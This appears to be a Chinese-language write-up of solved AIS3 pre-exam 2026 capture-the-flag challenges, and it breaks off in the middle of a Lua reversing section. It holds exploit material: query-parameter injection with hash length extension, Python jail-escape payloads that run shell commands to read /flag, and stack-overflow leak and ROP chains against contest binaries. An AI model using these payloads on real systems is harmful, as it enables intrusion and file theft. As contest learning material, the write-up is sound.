前言
這篇收錄我在 AIS3 pre-exam 2026 有寫下解題過程的 15 題,涵蓋 Crypto、Misc、Pwn、Reverse、Web 五個類別。
- 名次:43rd
- 分數:2341 points
- 隊名:Ianon
Crypto
EasyZKP
nc chals1.ais3.org 48765,要通過遠端 verifier 的 16 回合挑戰。本機 flag.txt 只有 AIS3{TEST_ME},是測試用的,不能提交。
先把 verifier、prover 跟共用的 proof 程式碼讀一遍:
1 | sed -n '1,260p' crypto/EasyZKP/extracted/verifier/chal.py |
verifier 有兩種模式。oracle 模式會給我一個隨機 32-byte server suffix、讓我輸入 user suffix、產生隨機 seed,然後去跟內部的 HTTP prover 要 proof;這個模式還允許我翻轉 SHA-256 digest 的 bit 再要一次 proof。challenge 模式則是要我在不知道 flag 的情況下,交出 SHA256(flag || user_suffix || server_suffix) 的正確 proof。
那個 prover URL 是這樣組的:
1 | url = f"{PROVER_URL}?p={server_part_b64}{flip_query}&d={user_part_b64}&s={seed}" |
user_part_b64 沒有做 URL encoding 就直接插進 query string。所以我輸入 QQ==&s=<我要的 seed>,prover 收到的就是 d=QQ==&s=<我的>&s=<verifier 的>。而 prover 那邊寫的是 seed = int(query["s"][0]),取第一個。我注入的 seed 排在前面,seed 就是我控制的了。
proof 用的是模 N 的指數運算:
1 | N = 1371086445846712667727718527036585861739497962228620061686456237722902428356146756731186939 |
直接 msieve 分掉:
1 | msieve 1371086445846712667727718527036585861739497962228620061686456237722902428356146756731186939 |
1 | p = 1062991560384192946446466724143851978243633013 |
phi = (p-1)*(q-1) 小於 N,剛好過 prover 對 seed 的範圍檢查。
接著是這題最漂亮的地方。proof 函式從 value = 0 開始逐 bit 處理 digest:
1 | 0 -> value = value + seed mod N |
把 seed 注入成 phi(N),Euler 定理告訴我們對任何與 N 互質的值 value ** phi(N) = 1 mod N。所以第一個 zero bit 讓狀態變成非零之後,每一個 one bit 都會把狀態重設成 1。最後的 proof 只剩一個資訊:digest 結尾有幾個 zero bit。
1 | proof = 1 + trailing_zero_count * phi(N) mod N |
一個純粹的 digest oracle 就這樣做出來了。查一次 proof 知道最後一個 one bit 在哪,把它翻成 zero,再查一次,從右往左走完所有 one bit,整個 256-bit digest 就重建出來了。
翻轉次數上限是 128,而隨機 SHA-256 digest 平均剛好約 128 個 one bit,所以偶爾會撞上限。撞到就重進 oracle 模式拿新的 prefix 重來,腳本裡直接寫成迴圈:
1 | def proof_to_trailing_zeros(proof: int) -> int: |
有了 D = SHA256(flag || prefix) 就是標準的 SHA-256 length extension。challenge 模式是先給 server suffix 再要我輸入 nonce,所以我送 base64(prefix || sha256_padding(L + len(prefix))),verifier 實際 hash 的就變成 flag || prefix || padding || challenge_server_suffix,正好是我能算的那個延伸訊息。
flag 長度 L 未知,但錯的長度會在第 1 回合就掛掉,所以從小到大暴搜很快:
1 | for flag_len in range(6, 160): |
遠端正確長度是 62。跑:
1 | python3 crypto/EasyZKP/solve.py |
1 | [+] flag_len=62 round 16/16 ok |
AIS3{simple_oracle_and_dramatic_injections_leading_forge_XDDD}
Misc
Welcome
題目敘述是一首迷因歌詞(「six seven 🗣️🔥」),最後只給一句話:
Scan the qrcode to get the flag!
https://ais32026scanme.pwn2ooown.tech/
開下去,第一眼就發現兩件事:頁面用 SVG 顯示一個 QR code,而且這個 QR code 一直在變,每幾百毫秒換一張。
所以它不是一張圖,是被當成資料串流在用。開 DevTools 看,app.js 被混淆得很嚴重,DOM 裡永遠只有一個 <svg> 被反覆替換,也沒有 WebSocket 或 REST 端點直接吐資料。唯一的路就是把每一幀抓下來自己解。
用手機掃一張看看,解出來長這樣:
1 | https://qrss.netlify.app/#<看起來像 base64 的字串> |
進 qrss.netlify.app 一看,這站本身就叫「QR Stream Sender / Receiver」,而且它的 qrss.js 沒有被混淆(不像題目的 app.js),直接讀就知道格式了:這是 fountain code,每個 fragment 是若干原始 block XOR 起來的結果。base64 decode 之後的 header 是:
| 欄位 | 型別 | 意義 |
|---|---|---|
degree |
uint32 (LE) |
這個 fragment 是幾個 block XOR 起來的 |
indices[degree] |
uint32 × degree |
哪幾個 block |
total_blocks |
uint32 |
原始檔案切成幾個 block |
total_size |
uint32 |
原始檔案總長度 |
stream_id |
uint32 |
串流 id |
data |
bytes | 那 degree 個 block 的 XOR 結果 |
手動掃絕對跟不上動畫速度,所以用 jsdom 在 Node 裡把頁面跑起來,定時抓 <svg>,用 outerHTML 去重:
1 | // capture.js , 把網頁上的 SVG QR 影格抓成檔案。 |
node capture.js 跑完會拿到約 50 張 unique SVG。zbarimg 不吃 SVG,所以先用 ImageMagick 轉檔再解:
1 | cd frames |
剩下的就是 peeling decoder:找出任何一個 degree 為 1 的 fragment,它的 data 就是那個 block;把已知 block XOR 進所有含它的 fragment、degree 減一;重複到全部還原。
1 | // decode.js , qrss fountain code 的 peeling decoder。 |
50 張 frame 剛好夠還原 38 個 block。
1 | file output.dat |
hexdump 開頭直接告訴我裡面是什麼:
1 | 00000000 3f 00 00 00 7b 22 66 69 6c 65 6e 61 6d 65 22 3a ?...{"filename": |
uint32 長度 + JSON metadata + uint32 長度 + 檔案內容,拆出來:
1 | # extract.py |
得到 67_1k_flag.webp,開起來是一張 six seven 迷因圖,flag 就印在底部。
AIS3{Hello_LLM_welcome_to_pre_exam_2026!}
Jail
打根端點就把 server 程式碼吐出來了:
1 | shebang = '#!/usr/local/bin/python3' |
流程是:payload 先 NFKC 正規化 → 檢查有沒有 ()_[]{}.@# → 加上 shebang 寫成檔案 → chmod 755 跑起來 → 把 stdout 讀回來。
沒有 () 就不能呼叫函式,沒有 . 就不能存取屬性,沒有 # 就不能寫註解。但注意那個 shebang 沒有結尾換行,我的 payload 是直接黏在它後面的。
Python 支援 PEP 263 encoding cookie,只要第一或第二行匹配 ^[ \t\f]*#.*?coding[:=][ \t]*([-\w.]+)。我不能自己寫 #,但 shebang 那個 # 已經在位置 0 了。所以只要我的第一行接在後面帶上 coding=unicode-escape,正規表達式就會匹配到 shebang 那行。
問題是 kernel 處理 shebang 時,會把第一個空格之後的全部東西當成單一參數丟給 Python。coding: unicode-escape 會被當成腳本檔名去開,然後失敗。
解法是把它包成一個合法的 -W 警告過濾器規格:
1 | #!/usr/local/bin/python3 -Wd:coding=unicode-escape |
-W 會把 d:coding=unicode-escape 吃掉(動作 d、訊息模式 coding=unicode-escape,最簡的 2 欄位過濾器),Python 繼續往下讀腳本檔,而 PEP 263 的 regex 還是能從第一行匹配到 coding= 並抓出 unicode-escape。而且 -Wd:coding=unicode-escape 裡面一個被禁的字元都沒有,只有連字號、冒號、等號跟字母。
shebang 跟 -W 之間需要一個空格,但我的 payload 第一個字元就得是它。這裡用不換行空格 U+00A0,NFKC 會把它正規化成一般空格,而一般空格不在黑名單裡。
第二行就用 unicode-escape 把被擋的字元寫成 \xNN:
| 跳脫序列 | 字元 | 用途 |
|---|---|---|
\x28 |
( |
函式呼叫 |
\x29 |
) |
函式呼叫 |
\x27 |
' |
字串字面值 |
\x2e |
. |
屬性存取 |
寫進檔案之後長這樣:
1 | #!/usr/local/bin/python3 -Wd:coding=unicode-escape |
Python 解完就是 print(open('/flag').read())。
1 | import requests |
(line1 開頭那個空格在實際 payload 裡是 U+00A0,不是一般空格。)
AIS3{5H3_BA_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_NG!}
Jail Revenge
同一個服務,多了一條限制:
1 | assert not any(i in d for i in "()_[]{}.@#") and len(d.split("\n")[0]) < 50 |
第一行長度必須小於 50。上一題那個 -Wd:coding=unicode-escape 加上 payload 本身的寫法還是過得了長度檢查,不過這題我換了個更漂亮的 codec。
關鍵是 raw_unicode_escape:這個 codec 把 bytes 當 Latin-1 讀,但會額外把字面上的 \uXXXX 序列解成對應的 Unicode codepoint,而且這發生在 Python tokenizer 跑之前。所以我在檔案裡寫 6 個 ASCII 字元 \u0028,parser 看到的就是真的 (。
第一行照舊靠 shebang 當 encoding cookie:
1 | #!/usr/local/bin/python3 -Wcoding=raw-unicode-escape |
這裡有個小細節:coding=raw-unicode-escape 其實不是合法的 warning filter。但 Python 啟動時只會把它加進清單,等實際套用時才驗證,驗證失敗只印一行 Invalid -W option ignored: … 到 stderr,而 stderr 沒被重導向,所以我完全感覺不到。Python 照樣往下跑、開檔、套 codec、開始 parse。
d.split("\n")[0] 是 -Wcoding=raw-unicode-escape,28 字元,長度檢查輕鬆過。
被擋的字元對照表:
| 被擋的字元 | 寫成這樣 |
|---|---|
( |
\u0028 |
) |
\u0029 |
_ |
\u005f |
. |
\u002e |
所以 payload 第二行是:
1 | \u005f\u005fimport\u005f\u005f\u0028"os"\u0029\u002esystem\u0028"cat /flag"\u0029 |
codec 解完 Python 看到的就是 __import__("os").system("cat /flag")。
這裡卡了我一陣子:送出去一直拿到 200 OK 但 body 是空的。原因是 curl 預設 Content-Type: application/x-www-form-urlencoded,Flask 就會把 body 解成 form data,request.data 變成空字串,寫進去的檔案只有 shebang,跑起來當然沒輸出。改成 text/plain(任何非 form 的 type 都行)就好了。
另外那些 \u0028 必須原封不動送到 server,所以 printf 要用 %s 帶進去,不能直接放在 format string 裡(不然 shell 會自己把 \u 解掉):
1 | U=$(python3 -c 'import uuid;print(uuid.uuid4())') |
回應:
1 | #!/bin/true |
server 上的 /flag 自己就是個以 #!/bin/true 開頭的「腳本」,所以就算被 chmod +x 也沒事,真正的 flag 是第二行的註解。
AIS3{D3MN_21P_PYD0C_A5_--MA1N--_D07_PY}
想在雪中來杯下午茶嗎?
OSINT 題,給一張街景照片,要定出地點再把座標組成 flag。
照片裡有個路牌可以清楚看到「豊郷町(Toyosato)」,Google Maps 搜一下就定位到日本滋賀縣犬上郡豐鄉町。
再看畫面裡的環境特徵:有鐵路平交道、道路跟鐵軌交叉、周圍是鄉村住宅區、附近有自動販賣機跟路牌。於是沿著豐鄉町附近的鐵道線找符合「道路穿越鐵軌」的地點,比對到第三個平交道就跟題目照片完全一致。
1 | https://www.google.com/maps/place/Toyosato,+Inukami+District,+Shiga,+Japan/@35.193507,136.2268106,3a,75y,128.15h,81.74t/data=!3m7!1e1!3m5!1sziNVLnVNBlQJwCsTwustyQ!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D8.257144546164255%26panoid%3DziNVLnVNBlQJwCsTwustyQ%26yaw%3D128.15290288160216!7i16384!8i8192!4m6!3m5!1s0x6003d5d8863a77cf:0x380ad0970b72a031!8m2!3d35.2004767!4d136.2299935!16zL20vMDJyanJn |
緯度 35.193507、經度 136.2268106,各取到小數第三位組起來就是 flag。
AIS3{35.193-136.226}
Pwn
DG Server (Pwn)
題目給一顆靜態連結的 x86-64 binary,在 HTTP 上實作一個類 DNSSEC 協定(DNS-over-HTTP),flag 在 server 檔案系統的 /flag.txt。所以這是真的要在 server 上拿到程式控制,不是偽造協定就好。
遠端 instance 要先過 SHA-256 PoW 才拿得到:
1 | curl -s http://chals1.ais3.org:57575/ | grep challenge_id |
這步要記住,因為等一下探測 overflow 時很容易把 worker 弄崩,崩了就得回來重開一個。
1 | file extractions/dg-server |
1 | ELF 64-bit LSB executable, statically linked, stripped, for GNU/Linux |
靜態連結代表 gadget 一大堆;No PIE 代表位址可以寫死;NX 代表要走 ROP。Stack: No canary found 是 checksec 誤判,binary 實際上有透過 fs:[0x28] 啟用 glibc 風格的 canary,反組譯就看得到。不過它每條連線都 fork,所以 canary 在 parent 跟所有 child 之間一致,洩漏一次就能重複用。
先送個正常查詢:
1 | printf 'GET /dns-query?name=www.curious.sleeping.&type=A HTTP/1.1\r\n'\ |
1 | www.curious.sleeping. A 67.67.67.67 |
丟個不支援的 type:
1 | type=AAAA → {"Status":4,"Comment":"invalid query type","bad_type":"41414141"} |
bad_type 會把我送的 type 內容 hex 編碼後回傳,天然的洩漏管道。
接著探 type 的長度敏感性:
1 | import socket |
1 | 50 → 回 473 bytes |
50 到 60 之間有個邊界,剛好對應 type buffer 到 canary 的距離 56(0x38)。進 radare2 確認:
1 | r2 -A extractions/dg-server |
1 | 0x4092c7 mov word [rbp-0x2e], ax ; var_2eh = clamp 後的 type 長度 |
copy 函式 fcn.0040917f 的 loop 條件是 while i < struct[0x108],而 struct[0x108] 是 type 欄位的解碼後長度,完全沒有限制在那 22 bytes 的清零範圍內。教科書級的線性 stack overflow:
1 | offset 0..15 → type 原文(前 16 個會被 toupper) |
URL 編碼在這裡很重要:內部 decoder 會處理 %XX,所以 %00 可以寫 \x00。strlen 掃描只在遇到 &、空白、\r、\n、\x00 時停,所以只要那些 byte 都用 %XX 表示,loop 就沒有上限。
然後是最爽的一步。bad_type 分支長這樣:
1 | 0x40936e movzx eax, word [rbp-0x30] ; 讀 var_30h |
var_30h 就是 hex dump 的長度,位置在 var_40h + 0x10,我的 overflow 在 dump 執行前就蓋掉它了。把它設成 0xa0,server 就會把 160 bytes 的 stack 內容(含 canary、saved rbp、return address)hex 編碼回傳給我。
觸發只要 18 個解碼後的 byte,根本碰不到 canary:
1 | leak = q('www.curious.sleeping.', 'AAAAAAAAAAAAAAAA%a0%00') |
1 | buf[ 0.. 15] 41 41 ... 41 'A' * 16 (我們的 filler) |
saved_rbp 是 HTTP handler fcn.00409440 的 base pointer,從它的 prologue 看得到 recv buffer 在 rbp - 0x6020,所以 recv_buf = saved_rbp - 0x6020 = 0x7fff29deba10。
gadget 完全不缺:
1 | ROPgadget --binary extractions/dg-server > /tmp/rop.txt |
1 | 0x69a383 : pop rdi ; ret |
syscall ; ret 直接掃 raw byte:
1 | data = open('extractions/dg-server','rb').read() |
拿到 0x711d26。
接著追 accept/fork 迴圈,發現 child 的 fd 配置超級友善:
1 | fd 0/1/2 → stdin/stdout/stderr(繼承) |
所以 open("/flag.txt", 0) 一定拿到 fd 3(Linux 回傳最小可用 fd),而 write(4, ...) 就是寫回我自己的連線。連 dup2 或 mov rdi, rax 的 gadget 都不用找。
"/flag.txt\0" 字串直接塞在 HTTP request 尾端的 header 裡,位址 = recv_buf + offset。offset 依賴 URL 編碼後的長度,所以迭代幾次讓它收斂就好:
1 | #!/usr/bin/env python3 |
exploit 仍然會走 bad_type 分支,但這次 var_30h 設成 0,dump 是空的,JSON 正常收尾後執行 leave; ret,leave 把 rsp 還原到 buf[64…71],ret 把 buf[72…79] pop 進 rip,剛好接上我佈好的 chain。
1 | python3 exploit.py |
1 | AIS3{B4d_bAd_64d_D0H_p4r(rr)rs3r[rr]r_:(((_QQ} |
AIS3{B4d_bAd_64d_D0H_p4r(rr)rs3r[rr]r_😦((_QQ}
std::print(“Hello, World”) revenge
nc chals1.ais3.org 50002,要讀出程式從 flag.txt 載入的 flag。
1 | unzip 'dist-cpp-print-revenge-58327d57cfe454c811911a3bc47c908dbc5cff35.zip' |
1 | RELRO: Full RELRO |
沒 canary 所以能控 return address,NX 所以不能 shellcode,No PIE 所以位址寫死,Full RELRO 所以不能改 GOT,結論就是 ROP。
binary 沒 strip,symbol 直接看:
1 | nm -C share/chall | grep -E 'FLAG|load_flag|Question|show_number' |
1 | 0000000000427040 b FLAG |
FAKEFLAG 是編進去的誘餌,真正要讀的是可寫的 FLAG(0x427040),load_flag() 會把 flag.txt 讀進這裡。
1 | objdump -d -M intel share/chall | sed -n '/<_Z8Questionv>/,/^$/p' |
1 | sub rsp,0x50 |
buffer 0x50 bytes,read() 收 0xe0 bytes。加上 saved rbp 就是 offset 0x58。函式還會檢查第一個 byte 是 Y 或 y,否則直接結束。
這題最有趣的是輸出方式。show_number() 印的是 Value: {2}\n,它呼叫的 instantiated function 是 std::print<int&, int&, int&>,一個保存三個 integer reference、然後印出第 2 個參數的 wrapper。
所以我根本不需要 format string 漏洞。format string 還是程式原本那個固定的 Value: {2}\n,我只要改變第三個 integer reference 指向哪裡就好。指到 FLAG + offset,std::print 就會把 flag buffer 的四個 byte 當整數讀出來、以十進位印給我。
ROP chain 分兩階段:先 read(0, 0x427200, 0x300) 把 fake frame 寫進 .bss,再把 rbp 設成 fake frame、跳到 0x406b75(既有 wrapper 的 prologue 之後)。
1 | #!/usr/bin/env python3 |
每四個 byte 重連一次,把印出來的 signed decimal 轉回 little-endian 32-bit,看到 } 就停。
1 | AIS3{f4k3_fl4g_1s_4ls0_4_fl4g} |
AIS3{f4k3_fl4g_1s_4ls0_4_fl4g}
Reverse
DG Server (Rev)
跟 pwn 那題同一顆 binary,但這次端點是 chals1.ais3.org:53573,而且要走 rev 的路。附了一份 500 行的 scripts/dg-verify.py,走一條類 DNSSEC 的信任鏈 . → sleeping. → curious.sleeping.,最後印出 www.curious.sleeping. 的 A 紀錄。
1 | python3 extracted/scripts/dg-verify.py @chals1.ais3.org:53573 www.curious.sleeping A |
1 | == . DNSKEY == |
簽章全過、鏈條完整、沒有 flag。但驗證腳本只支援 A、NS、MX,我不受它限制,我是用 raw HTTP 在跟 server 講話,可以自己刻請求。
1 | strings extracted/dg-server | grep -E 'TXT|NSEC6|RRSIG' |
1 | %s TXT "%s" |
server 支援 TXT 跟 NSEC6。NSEC6 是作者自製的 NSEC3 變體,一種「不存在性」紀錄,用查詢名稱雜湊的字典序鄰居來證明某個名字不存在。重點是:它會洩漏存在的名字的雜湊。
寫個最小 client 開始戳:
1 | import socket |
1 | curious.sleeping. TXT "v=spf1 mx -all" |
順手猜個 _dmarc 也中了:
1 | _dmarc.curious.sleeping. TXT "v=DMARC1; p=none; rua=mailto:hostmaster@curious.sleeping" |
然後我注意到一件很奇怪的事:curious.sleeping. 底下所有雜湊都共用 H46HSBFKHOSNE 這麼長的前綴。密碼學雜湊不該長這樣。
多丟幾個落在不同缺口的不存在名字,把整條 NSEC6 環拼出來:
| owner(base32 雜湊) | next 雜湊 | 類型 |
|---|---|---|
H46HSBFKHOSNE78MEU8JB18JA7N4IUGI |
H46HSBFKHOSNE79276V7EUQ3RFHKIUGI |
apex |
H46HSBFKHOSNE79276V7EUQ3RFHKIUGI |
H46HSBFKHOSNE79289JNUUQ3RFHKIUGI |
A RRSIG NSEC6(未知) |
H46HSBFKHOSNE79289JNUUQ3RFHKIUGI |
H46HSBFKHOSNE792DA5FGUQ3RFHKIUGI |
A RRSIG NSEC6(ns1) |
H46HSBFKHOSNE792DA5FGUQ3RFHKIUGI |
H46HSBFKHOSNE792RC9U2UQ3RFHKIUGI |
A RRSIG NSEC6(未知) |
H46HSBFKHOSNE792RC9U2UQ3RFHKIUGI |
H46HSBFKHOSNE79FQM2ND3Q3RFHKIUGI |
A RRSIG NSEC6(www) |
H46HSBFKHOSNE79FQM2ND3Q3RFHKIUGI |
H46HSBFKHOSNE7FP2CD05BFU13HKIUGI |
A RRSIG NSEC6(mail) |
H46HSBFKHOSNE7FP2CD05BFU13HKIUGI |
H46HSBFKHOSNE7FP4U5AT4KL73HKIUGI |
TXT RRSIG NSEC6(_dmarc) |
H46HSBFKHOSNE7FP4U5AT4KL73HKIUGI |
S6NPJID2K4SNE7AB754D34I8IK3E8TKJ |
TXT RRSIG NSEC6(未知 — 只有 TXT!) |
S6NPJID2K4SNE7AB754D34I8IK3E8TKJ |
環回 apex | (未知) |
小字典暴搜 A 紀錄補掉兩個:
1 | for cand in ['api', 'ftp', 'mail', ...]: |
1 | api 73.31.13.37 |
還剩兩個未知,其中一個只有 TXT 紀錄,那壓倒性就是 flag 所在。但我試了上千個常見子網域字串,一個都沒中。字典暴搜這條路死了,必須直接從雜湊反推 label。
NSEC6 紀錄開頭是 2e 426 0009 73311337(alg=0x2e、9 次迭代、salt 0x73311337)。0x2e 不是任何標準演算法。用 binary 裡看得到的字母表解碼看看:
1 | ALPH = "0123456789ABCDEFGHIJKLMNOPQRSTUV" |
1 | apex 89 0d 1e 2d f4 8e 39 77 1d 16 77 91 35 85 13 51 ee 49 7a 12 |
看得很清楚:byte 0…8 每個短 label 都一樣;byte 13…19 每個長度 3 的 label 都一樣;byte 9 只跟 label 長度有關(3 字元 0x22、4 字元 0x2f、6 字元 0xf9);只有 byte 10…12 才真的跟著字元變。
這不是雜湊。它只是重排位置加上便宜的逐位元轉換,完全不在 20-byte state 裡跨位置混合資料。
進 radare2 挖出確切演算法。格式字串 %s NSEC6 %02x %02x %04x %s %s %s 在 0x7cb5c8,被 fcn.00406d91 引用,沿著資料流上溯找到建構器 fcn.00405a23:
| 位址 | 行為 |
|---|---|
fcn.0040532f |
label_encode(qname, out20):out20[0] = first_label_len,後面接第一個 label 的 bytes |
fcn.00405626 |
hash1(qname, key, out20):非密碼學的 32-bit mixer |
0x405abe 行內迴圈 |
for i in 0..19: hash1_out[i] |= key_a[i] |
fcn.0040588c |
byte_add20(a, b, out):20-byte 大端加法 |
fcn.00405756 |
iter9(state, key_b, 9):9 輪,每輪先右旋 1 byte,再 state[i] = (state[i] ^ key_b[(r+i)%20]) + (r*17+i) |
fcn.00405909 |
base32 編碼 |
現在看那個 OR。OR 是破壞性的:如果 key_a[i] = 0xFF,那不管 hash1[i] 是什麼,hash1[i] | 0xFF 永遠是 0xFF,那個 byte 的 hash 貢獻整個消失。
輪函式不跨位置混合,所以輸入位置 p0 的 byte 最終落在 (p0 + 9) mod 20,而且只依賴 state_in[p0]:
1 | def trace_byte(p0, x, key_b, rounds=9): |
看輸出位置 8,它對應 p0 = (8-9) mod 20 = 19。每個 label 都短到 label_encoded[19] = 0,所以 state_in[19] = hash1[19] | key_a[19]。而觀察到的輸出 byte 0x1d 在每個名字上都一樣。trace_byte 對輸入是雙射,所以 state_in[19] 是常數;hash1[19] 會隨 qname 變,要讓 OR 之後還是常數,只有 key_a[19] = 0xFF 一種可能。
對每個跨所有名字都一致的輸出位置套同樣論證,結論是 key_a 全部 20 個 byte 都是 0xFF。於是:
1 | state_in = byte_add20(label_encoded, 0xFF * 20) |
整段 qname、secret、hash1 mixer 全部變得無關。NSEC6 雜湊只是對第一個 label 做的一個固定置換。知道 key_b 就能反過來。
七個已知 label 給我 140 條 byte 級方程式對 20 個未知 byte,丟給 Z3:
1 | from dg_hash import b32_decode |
1 | sat |
七個已知 label 重新編碼,bit-for-bit 全對。接著反過來跑:
1 | def trace_reverse(p_out, y, key_b, rounds=9): |
1 | H46HSBFKHOSNE7FP4U5AT4KL73HKIUGI -> 6 / status |
azft0azxct7utcyw。難怪字典暴搜挖不到。
1 | for name in ['status.curious.sleeping.', |
1 | status.curious.sleeping. TXT "service=ok; region=moon" |
AIS3{w4lking_0n_D0H_z0n3–NSEC…NSEC6!_666~~~}
Hidden in the Cloak
題目敘述:
在這個屠殺史萊姆的遊戲裡, 角色身上的披風被黏液沾滿了, 他覺得很不舒服.
(角色: “RPG game 裡面不是這樣的, 你怎麼可以這樣對待我的披風!?”)
而且 flag 字元集刻意排除 i、l、o([a-hj-kmnp-z0-9_]),讀出來之後可以拿這條規則回頭驗證。
解開之後是標準的 Unity Windows build:
1 | B/ |
先做最便宜的一步:
1 | ilspycmd Assembly-CSharp.dll -o decompiled/ |
managed code 裡完全沒有 AIS3{...},也沒有任何混淆過的字串組裝。所以 flag 不在程式碼裡,只剩那個以角色命名的 asset bundle。
1 | pip install UnityPy pillow numpy |
1 | # extract.py |
跑出三個檔案:character.png(1024 × 512 RGBA)、character.atlas.txt(列出 64 個 r001…r064 區域)、character.txt(JSON 骨架)。這三個合起來就是標準的 Spine 2D 骨骼動畫封裝。
雙擊 character.png 會看到一張幾乎全白的圖。這是個誤導,PNG 有 alpha 通道,而多數看圖軟體把透明像素疊在白底上。直接檢查 alpha:
1 | from PIL import Image |
1 | alpha min/max/mean: 0 255 58.6 |
完全不均勻。疊到黑底上:
1 | from PIL import Image |
原本「空白」的 atlas 現在滿滿都是字形 sprite:四條寬的單字條 AIS3{、d0n7_70、uch_my_、c4p3_0k_,一堆單一字元 b、3、f、1、e、7、6、8、},再加一大堆誘餌字元。
但這些 sprite 是為了「儲存」打包的,不是按閱讀順序排的。要靠骨架 JSON 才知道哪些真的被用到、順序是什麼。
character.txt 裡三個區塊,一個一個看。bones:
1 | "bones": [ |
13 根骨頭 b013…b025 全是 root 的子節點,局部座標全是 (0, 0)。在 Spine 裡每個 sprite 都相對它的骨頭繪製,所以預設狀態下這 13 個 sprite 全部疊在同一個位置。那一團就是「黏在披風上的黏液」。
slots 告訴我哪根骨頭帶哪個 sprite:
1 | "slots": [ |
64 個 region 裡只有 13 個是真的,其餘全是烘焙進紋理的誘餌。
然後是關鍵的動畫 emote_a:
1 | "animations": { |
t = 0 全部 x = 0(疊成一團),t = 0.75 每根骨頭跑到一個唯一的 X 座標,範圍大概 -415 到 +453。這個動畫真的就是「把黏液甩掉」,把疊著的 sprite 從左到右攤開。攤開後的 X 座標就是閱讀順序。
| Bone | Final X @ t=0.75 | Slot | Atlas region | Sprite contents |
|---|---|---|---|---|
| b013 | −415.5 | s013 | r037 | AIS3{ |
| b014 | −281.5 | s014 | r017 | d0n7_70 |
| b015 | −128.0 | s015 | r016 | uch_my_ |
| b016 | 35.5 | s016 | r034 | c4p3_0k_ |
| b017 | 141.5 | s017 | r047 | b |
| b018 | 180.5 | s018 | r031 | 3 |
| b019 | 219.5 | s019 | r050 | f |
| b020 | 258.5 | s020 | r032 | 1 |
| b021 | 297.5 | s021 | r022 | e |
| b022 | 336.5 | s022 | r039 | 7 |
| b023 | 375.5 | s023 | r058 | 6 |
| b024 | 414.5 | s024 | r043 | 8 |
| b025 | 453.5 | s025 | r042 | } |
完整的 solver(步驟都是機械式的,只有「用眼睛讀那 13 張裁切圖」需要手動,大概花一分鐘):
1 | # solve.py |
1 | AIS3{d0n7_70uch_my_c4p3_0k_b3f1e768} |
拿 flag regex ^AIS3\{[a-hj-kmnp-z0-9_]+\}$ 回頭檢查:沒有 i、l、o,過。
AIS3{d0n7_70uch_my_c4p3_0k_b3f1e768}
tetris,簡單
我知道你很會玩俄羅斯方塊的…能請你幫玩嗎?
給一顆靜態連結、stripped 的 Linux x86-64 ELF。遊戲裡藏了 flag 產生邏輯,要把方塊擺成特定圖案才會算出來。我是在 macOS 上分析,沒辦法直接跑這顆 Linux binary,所以全程用 objdump + Python 靜態逆,目標是不執行原程式就把 flag 還原出來。
1 | $ file tetris |
1 | $ strings tetris > strings.txt |
1 | [1;36mTETRIS - Score: %d | Lines: %d |
最後那條 nclears >= 3 是 C++ STL vector::at() 的邊界檢查訊息,代表程式用了 std::vector 存 line clear 資料。
Entry point 0x404550 是 glibc 的 _start,它呼叫 __libc_start_main,第一個參數就是 main 的位址 0x15c4017。這附近程式大量用了 anti-disassembly 技巧:eb ff(jmp 到自己的下一個位元組)會讓 objdump 的解讀偏移,後面的指令全部被誤讀。
在 0x15c3000 有個關鍵函式,比對玩家當前盤面跟預期盤面:
1 | 15c3016: mov 0x4e59e7(%rip),%eax # 從當前遊戲盤面載入 |
逐一比對 4 rows × 10 columns 共 40 個 cell,全中才進入 flag 產生流程。目標盤面在 .rodata 的 0x17371e0:
1 | Row 0: 5 0 5 0 1 0 4 4 4 0 |
0x15c1a6e 那個函式吃目標盤面(rdi)跟輸出緩衝區(rsi = 0x1aa8a40),先算 FNV-1a:
1 | 15c1ae6: movl $0x811c9dc5,-0x4(%rbp) # FNV offset basis |
再用 glibc rand() 的 LCG 把 hash 展成 24 bytes 的 key:
1 | 15c1bdd: imul $0x41c64e6d,%eax,%eax # hash *= 1103515245 |
然後在 0x15c31ef:
1 | 15c31ef: mov $0x18,%ecx # key 長度 = 24 bytes |
是 RC4。加密資料在 .data(file offset 0x16a5130):
1 | 2e a5 56 46 0d 7c 8e dc 83 6f 30 83 ff f8 a5 5c |
全部串起來用 Python 重跑一遍:
1 | import struct |
1 | AIS3{T3tr1s_P4tt3rn_M4st3r!} |
一次都沒玩到俄羅斯方塊。
AIS3{T3tr1s_P4tt3rn_M4st3r!}
ㄌㄨㄚˋ
三個檔案:改造過的 Lua 5.1 編譯器 luac_stripped.exe、它產出的 secret.luac、還有同一份原始碼用原版 luac 編的 secret_standard.luac。
1 | $ file extracted/* |
secret.luac 的 header 是合法 Lua 5.1,但直接餵給標準 lua5.1 會在第一個未知 opcode 就 abort。而 secret_standard.luac 跑得起來,會 prompt 使用者輸入 → io.read → 呼叫檢查 function → 印 good / no,等於免費送我原始碼層級的程式骨架。
兩個 .luac 逐 byte 比對:header 到 0x136 完全一樣(常數表、debug info),從 0x136 開始 opcode 部分全變了。secret.luac 尾端還多了 6 bytes 19 93 0d 0a 1a 0a,那是 Lua 5.2 header 簽章的尾巴,純粹是個 tripwire,VM 不會讀它。
所以原始碼相同,被改的只有「編譯器怎麼寫指令」。用 radare2 看 sym.DumpFunction,找到兩件 vanilla Lua 不該有的事:
numparams被覆寫成常數才寫進函式 header,每個子函式蓋不同的魔術值:7, 18, 29, 40, 51, 62, 9。這個值就是該函式的 XOR key。- 每條指令在寫檔前再做一次 4-byte XOR,mask 是
key ^ 0x2B ^ (15 * pc + 17),只覆蓋低 6 bit,所以只動 opcode 欄位,A/B/C 不受影響。
1 | stored_op = (real_op ^ numparams ^ 0x2B ^ ((15 * pc + 17) & 0x3F)) & 0x3F |
再來是 opcode permutation。OpMode[] 表在 .rdata:0x21c60(38 bytes),但這顆 binary 的表是被洗過的。策略是:lcode.c 裡每個 emitter 都會寫死自己要 emit 的 opcode 編號,在 binary 裡找這些常數再對照標準 enum:
| 標準 opcode | emitter | r2 看到的常數 |
|---|---|---|
OP_JMP = 22 |
luaK_jump |
10 |
OP_SELF = 11 |
luaK_self |
20 |
OP_RETURN = 30 |
luaK_ret |
30 |
OP_SETLIST = 34 |
constructor |
33 |
OP_VARARG = 37 |
parlist |
32 |
OP_CLOSURE = 36 |
body |
31 |
OP_TFORLOOP = 33 |
forbody |
19 |
OP_FORLOOP = 31 |
forbody |
18 |
